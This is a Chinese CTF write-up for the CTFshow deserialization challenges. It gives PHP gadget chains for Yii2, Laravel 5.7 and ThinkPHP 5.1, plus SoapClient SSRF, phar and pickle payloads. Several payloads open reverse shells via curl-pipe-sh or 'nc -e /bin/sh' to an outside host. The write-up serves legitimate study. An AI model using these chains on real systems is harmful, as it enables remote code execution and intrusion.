CTFshow 反序列化

目录

  • CTFshow 反序列化
    • web262-SoapClient类的利用
    • web263-PHPsession反序列化
      • 什么是session?
      • PHPsession的存储机制
    • web265-变量引用
    • web266-类和方法不区分大小写
    • web267-yii框架反序列化漏洞
    • web268-yii第二条链子
    • web269-yii第三条链子
    • web270-yii第四条链子
    • web271-laravel5.7反序列化漏洞
    • web272-laravel5.7反序列化漏洞
    • web273-和272一样
    • web274-thinkphp 5.1反序列化漏洞
    • web275
    • web276-phar反序列化
    • web277,278-python之pickle反序列化


CTFshow 反序列化

web262-SoapClient类的利用

SoapClient类 __call​ 魔术方法

__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。

当我们执行$vip->getFlag();​会因为SoapClient类不存在getFlag方法而调用__call()​方法,进而发送一个POST请求,我们在访问flag.php的时候需要我们的IP为127.0.0.1,我们可以利用这个POST请求来进行SSRF。

一定要安装soap拓展并在php.ini中修改配置。



$post_string = 'token=ctfshow';

$soap = new SoapClient(
    null, 
    array(
        'uri'=> "http://127.0.0.1/flag.php",
        'location' => 'http://127.0.0.1/flag.php',
        'user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
        // 'user_agent'=>"edge\x0D\x0AX-Forwarded-For:127.0.0.1,127.0.0.1\x0D\x0AContent-Type: application/x-www-form-urlencoded"."\x0D\x0AContent-Length: ".(string)strlen($post_string)."\x0D\x0A\x0D\x0A".$post_string,
        )
);
echo(urlencode(serialize($soap)));

get传vip=xxx,然后访问/flag.txt

web263-PHPsession反序列化

什么是session?

Session​一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session​ 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session​机制。

PHP session​可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session​ 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session​ 值会存储于服务器端,这也是与 cookie​的主要区别,所以seesion​ 的安全性相对较高。

PHPsession的存储机制

详细内容请参考:https://xz.aliyun.com/t/6640

PHP session​的存储机制是由session.serialize_handler​来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid​来决定文件名的,当然这个文件名也不是不变的,如Codeigniter​框架的 session​存储的文件名为ci_sessionSESSIONID​。

session.serialize_handler​定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()​函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()​函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 ​php_serialize

php​处理器和php_serialize​处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

形成的原理就是在用session.serialize_handler = php_serialize​存储的字符可以引入 | , 再用session.serialize_handler = php​格式取出$_SESSION​的值时, |​会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

步骤一:寻找session_start()

我们可以在inc.php和index.php中找到,并且index.php使用默认格式,而inc.php中使用ini_set('session.serialize_handler', 'php');​,php和php_serialize格式混用,导致反序列化。

步骤二:寻找可控session点

我们可以在index.php中找到这么一句

$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);

我们可以上传cookie值随意控制session值。

步骤三:序列化和构造危险session



class User{
    public $username = 'shell.php';
    public $password = '';
}

$user = new User();

echo(base64_encode('|'.serialize($user)));

?>

将得到的payload放进cookie,先访问index.php,再访问check.php,因为check.php包含了inc.php,最后访问log-shell.php,查看源代码即可获得flag。

web265-变量引用

看关键代码

$ctfshow->token=md5(mt_rand());
return $this->token===$this->password;

mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。

这道题要求password和随机整数的md5值相等,还是强等于。

php中也有类似c语言指针的东西&。

PHP的引用允许你用两个变量来指向同一个内容。无论对哪个变量名的值进行了修改,其他变量名访问的内容也会随之改变。与C语言中的指针是有差别的。C语言中的指针里面存储的是变量的内容,在内存中存放的地址。


    $a = 10;
    $b = &$a; 
    $a = 11;
    var_dump($a, $b); // 输出11, 11
    $b = 12;
    var_dump($a, $b); // 输出12, 12

我们把password指向token即可

Payload:


class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->password =&$this->token;
}
$a=new ctfshowAdmin();
echo serialize($a);

web266-类和方法不区分大小写

PHP特性:函数名和类名不区分大小写,变量名区分。

Payload:

O:7:"CtfsChow":0:{}

web267-yii框架反序列化漏洞

版本<=2.0.37

大佬文章:https://mp.weixin.qq.com/s?__biz=MzU5MDI0ODI5MQ==&mid=2247485129&idx=1&sn=b27e3fe845daee2fb13bb9f36f53ab40

yii2是一个使用php语言的开发框架,其版本小于2.0.38存在多条反序列化的利用链。

这题貌似禁用了一些函数,而且还没有回显。尝试反弹shell。

Payload:



namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'curl https://your-shell.com/your-ip:6666 | sh';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

web268-yii第二条链子


namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'curl https://your-shell.com/your-ip:6666 | sh';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

web269-yii第三条链子


namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'curl https://your-shell.com/your-ip:6666 | sh';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270-yii第四条链子

反弹失败靶场得重开,可以dnslog带出,也可以写文件。


namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '' > /var/www/html/basic/web/1.php");
    echo(base64_encode(serialize($exp)));
}

web271-laravel5.7反序列化漏洞

参考链接:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/



namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('curl https://your-shell.com/your-ip:6666 | sh'));

    echo urlencode(serialize($pendingcommand));
}

web272-laravel5.7反序列化漏洞

参考链接:https://xz.aliyun.com/t/5911


namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}
?>

web273-和272一样

web274-thinkphp 5.1反序列化漏洞


namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

用法:

http://4971bc9c-b457-44dc-bf5a-9a027dc8a8f2.challenge.ctf.show/?lin=cat /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web275

这道题不是反序列化的题,只需要evilfile=true就可以命令执行。

Payload:

?fn=;tac flag.php
data: 1=flag

web276-phar反序列化

这道题比上道多了个admin,想构造序列化数据发现没有反序列化入口。

但是发现有file_get_contents​、和file_put_contents​这样的文件操作函数。

而且我们可以在文件操作函数里面使用伪协议,想到了phar反序列化。



class filter 
{
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}
$a=new filter();
$a->filename=";cat fl*";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub('');//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘

web277,278-python之pickle反序列化

Python中提供pickle​和json​两个模块来实现序列化和反序列化。

序列化函数有dumps()​和dump()​,这俩的区别就是dumps()​只会单纯的将对象序列化,而dump()​会在序列化之后将结果写入到文件当中,一般来说我们就用dumps​就好了。

与之相对的就是反序列化函数,同样也有两个,load()​和loads()​,同样的,loads()​也只是单纯的进行反序列化,而load()​会将结果写入文件中。

而要实现代码执行的关键,就是一个魔法函数__reduce__​。

import pickle
import base64
class A(object):
	def __reduce__(self):
		return(eval,('__import__("os").popen("nc xxxx port -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

Payload:

http://4b7c2717-a8f1-4d02-9f63-b262a10824c2.challenge.ctf.show/backdoor?data=gASVXQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxBX19pbXBvcnRfXygib3MiKS5wb3BlbigibmMgMTE4LjMxLjE2NS42MyA2NjY2IC1lIC9iaW4vc2giKS5yZWFkKCmUhZRSlC4=

你可能感兴趣的:(php,服务器,开发语言)